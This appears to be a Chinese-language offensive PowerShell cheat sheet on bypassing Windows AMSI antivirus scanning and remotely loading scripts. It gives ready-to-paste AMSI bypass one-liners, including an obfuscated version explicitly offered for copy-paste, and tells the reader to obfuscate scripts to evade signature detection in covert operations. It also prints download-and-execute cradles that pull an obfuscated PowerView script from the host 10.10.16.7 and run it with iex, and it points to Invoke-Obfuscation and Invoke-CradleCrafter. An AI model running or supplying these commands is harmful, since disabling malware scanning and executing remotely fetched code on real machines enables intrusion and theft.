反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。
普通 "的AMSI绕过例子:
代码语言:javascript复制[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
用于复制粘贴的混淆例子:
代码语言:javascript复制sET-ItEM ( 'V' 'aR' 'IA' 'blE:1q2' 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" "zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
PowerShell的自动识别功能:
代码语言:javascript复制[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin' 'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T' 'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie' 'ld')).Invoke('amsiInitFailed',(('Non' 'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin' 'gFlags'))).SetValue($null,$True)
绕过方法混淆等,请参考Invoke-Obfuscation,或者在amsi.fail获得一个自定义生成的混淆版本。
https://github.com/danielbohannon/Invoke-Obfuscation
远程加载PowerShell脚本
代理
代码语言:javascript复制IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')
非代理
代码语言:javascript复制$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText
Invoke-CradleCrafter 是一个兼容 PowerShell v2.0 的 PowerShell 远程下载生成器和混淆器。
目的
Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载托架。此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,因为它不包含任何字符串连接、编码、刻度线、类型转换等.
用法
虽然可以通过直接调用 Out-Cradle 函数来生成所有 cradle,但所有堆叠混淆组件的移动部分的复杂性使得使用 Invoke-CradleCrafter 函数成为探索和可视化 cradle 语法和混淆技术的最简单方法这个框架目前支持。
安装:
代码语言:javascript复制Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter
https://github.com/danielbohannon/Invoke-CradleCrafter